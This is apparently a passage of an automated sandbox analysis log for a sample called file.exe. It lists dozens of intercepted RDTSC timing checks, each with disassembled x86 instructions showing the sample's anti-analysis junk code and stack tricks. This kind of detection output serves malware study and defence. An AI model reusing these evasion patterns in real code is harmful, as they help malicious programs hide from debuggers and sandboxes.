Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2FE8 second address: 13E2FFA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9CF0B4E766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F9CF0B4E76Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0138 second address: 13E019C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F9CF0C7B809h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov bx, ax 0x00000011 push dword ptr fs:[00000000h] 0x00000018 jng 00007F9CF0C7B7F8h 0x0000001e mov bl, B7h 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 xor dword ptr [ebp+122D17A2h], edx 0x0000002d mov eax, dword ptr [ebp+122D085Dh] 0x00000033 mov ebx, dword ptr [ebp+122D3842h] 0x00000039 push FFFFFFFFh 0x0000003b mov bh, dl 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F9CF0C7B800h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2FFA second address: 13E3069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 jc 00007F9CF0B4E767h 0x0000000e mov bx, di 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F9CF0B4E768h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d push 00000000h 0x0000002f jnp 00007F9CF0B4E77Fh 0x00000035 jng 00007F9CF0B4E779h 0x0000003b jmp 00007F9CF0B4E773h 0x00000040 xchg eax, esi 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 jmp 00007F9CF0B4E776h 0x00000049 push edx 0x0000004a pop edx 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E407D second address: 13E4081 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E3239 second address: 13E323D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E4081 second address: 13E4087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E323D second address: 13E3241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E4087 second address: 13E408D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E408D second address: 13E4091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E504C second address: 13E5056 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9CF0C7B7FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E859D second address: 13E85A7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9CF0B4E766h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1390D69 second address: 1390DA2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9CF0C7B7F6h 0x00000008 jmp 00007F9CF0C7B803h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F9CF0C7B808h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ECC94 second address: 13ECCB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9CF0B4E779h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ECCB1 second address: 13ECCB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EF31A second address: 13EF324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F9CF0B4E766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E9F7A second address: 13E9F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E8D8D second address: 13E8E35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E770h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c ja 00007F9CF0B4E766h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F9CF0B4E768h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000016h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 mov ebx, 0A37D7AAh 0x00000038 and edi, dword ptr [ebp+122D364Dh] 0x0000003e jmp 00007F9CF0B4E770h 0x00000043 mov dword ptr fs:[00000000h], esp 0x0000004a push 00000000h 0x0000004c push esi 0x0000004d call 00007F9CF0B4E768h 0x00000052 pop esi 0x00000053 mov dword ptr [esp+04h], esi 0x00000057 add dword ptr [esp+04h], 0000001Bh 0x0000005f inc esi 0x00000060 push esi 0x00000061 ret 0x00000062 pop esi 0x00000063 ret 0x00000064 mov eax, dword ptr [ebp+122D05FDh] 0x0000006a push FFFFFFFFh 0x0000006c pushad 0x0000006d mov ebx, dword ptr [ebp+122D3A16h] 0x00000073 sub dword ptr [ebp+122D2209h], edi 0x00000079 popad 0x0000007a push eax 0x0000007b push eax 0x0000007c push edx 0x0000007d push edi 0x0000007e jno 00007F9CF0B4E766h 0x00000084 pop edi 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EADF2 second address: 13EADF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EADF6 second address: 13EADFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E51BE second address: 13E51C8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9CF0C7B7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ECEEF second address: 13ECEF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F039D second address: 13F03B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0C7B7FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F9CF0C7B7F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F03B6 second address: 13F03C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F2941 second address: 13F2949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F2949 second address: 13F298B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9CF0B4E766h 0x00000008 jmp 00007F9CF0B4E76Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F9CF0B4E773h 0x00000015 jmp 00007F9CF0B4E773h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F057B second address: 13F0581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F6F57 second address: 13F6F69 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnp 00007F9CF0B4E766h 0x00000009 pop ebx 0x0000000a jnp 00007F9CF0B4E76Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC8EC second address: 13FC8F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC09D second address: 13FC0A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC457 second address: 13FC45D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC45D second address: 13FC461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC461 second address: 13FC465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC465 second address: 13FC484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CF0B4E771h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F9CF0B4E76Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140722F second address: 1407239 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9CF0C7B7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1407239 second address: 1407257 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9CF0B4E772h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c jl 00007F9CF0B4E766h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140664D second address: 140665E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0C7B7FBh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140665E second address: 1406662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406925 second address: 140692B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140692B second address: 140692F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140692F second address: 1406935 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406A6B second address: 1406A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406A75 second address: 1406A7B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406A7B second address: 1406A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F9CF0B4E766h 0x0000000d jnp 00007F9CF0B4E766h 0x00000013 jbe 00007F9CF0B4E766h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406A99 second address: 1406AAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0C7B7FAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406AAE second address: 1406AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406D78 second address: 1406D9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9CF0C7B800h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f js 00007F9CF0C7B7F6h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406D9F second address: 1406DCA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007F9CF0B4E76Ch 0x00000013 popad 0x00000014 jmp 00007F9CF0B4E770h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406F22 second address: 1406F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 jmp 00007F9CF0C7B805h 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140A271 second address: 140A279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140A279 second address: 140A288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jc 00007F9CF0C7B7F6h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410D91 second address: 1410DB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CF0B4E775h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F9CF0B4E766h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410DB3 second address: 1410DC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F9CF0C7B802h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410DC1 second address: 1410DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F6CD second address: 140F6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F6D1 second address: 140F6EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E776h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F6EB second address: 140F705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9CF0C7B804h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F705 second address: 140F711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F9CF0B4E766h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F711 second address: 140F715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F87D second address: 140F887 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9CF0B4E772h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F887 second address: 140F88D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FA1E second address: 140FA5D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9CF0B4E782h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F9CF0B4E790h 0x00000010 pushad 0x00000011 jmp 00007F9CF0B4E76Ah 0x00000016 jne 00007F9CF0B4E766h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FA5D second address: 140FA63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FA63 second address: 140FA6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FBD5 second address: 140FC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9CF0C7B7F6h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9CF0C7B803h 0x00000012 jmp 00007F9CF0C7B804h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FD4F second address: 140FD53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FE78 second address: 140FE7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FE7C second address: 140FE9A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9CF0B4E766h 0x00000008 jnp 00007F9CF0B4E766h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push edi 0x00000015 pop edi 0x00000016 jnl 00007F9CF0B4E766h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FE9A second address: 140FEA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FEA3 second address: 140FEA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FEA7 second address: 140FEB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F9CF0C7B7F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FEB3 second address: 140FEC3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9CF0B4E772h 0x00000008 jnp 00007F9CF0B4E766h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410353 second address: 1410363 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0C7B7FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410363 second address: 1410369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410369 second address: 141036F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141036F second address: 1410373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410373 second address: 1410385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9CF0C7B7F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410385 second address: 1410396 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9CF0B4E766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410396 second address: 14103BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 ja 00007F9CF0C7B80Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14103BA second address: 14103C4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9CF0B4E782h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141066D second address: 1410687 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F9CF0C7B804h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA6AA second address: 13BA6AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA6AE second address: 13BA6BE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9CF0C7B7F6h 0x00000008 jc 00007F9CF0C7B7F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410C64 second address: 1410C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416358 second address: 141637A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9CF0C7B809h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141637A second address: 1416380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416380 second address: 1416386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1415B3F second address: 1415B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14167D0 second address: 14167DF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141699D second address: 14169A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416DCA second address: 1416DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CF0C7B808h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416DF1 second address: 1416E09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F9CF0B4E76Eh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1418825 second address: 141882D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B241 second address: 141B246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B246 second address: 141B24B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
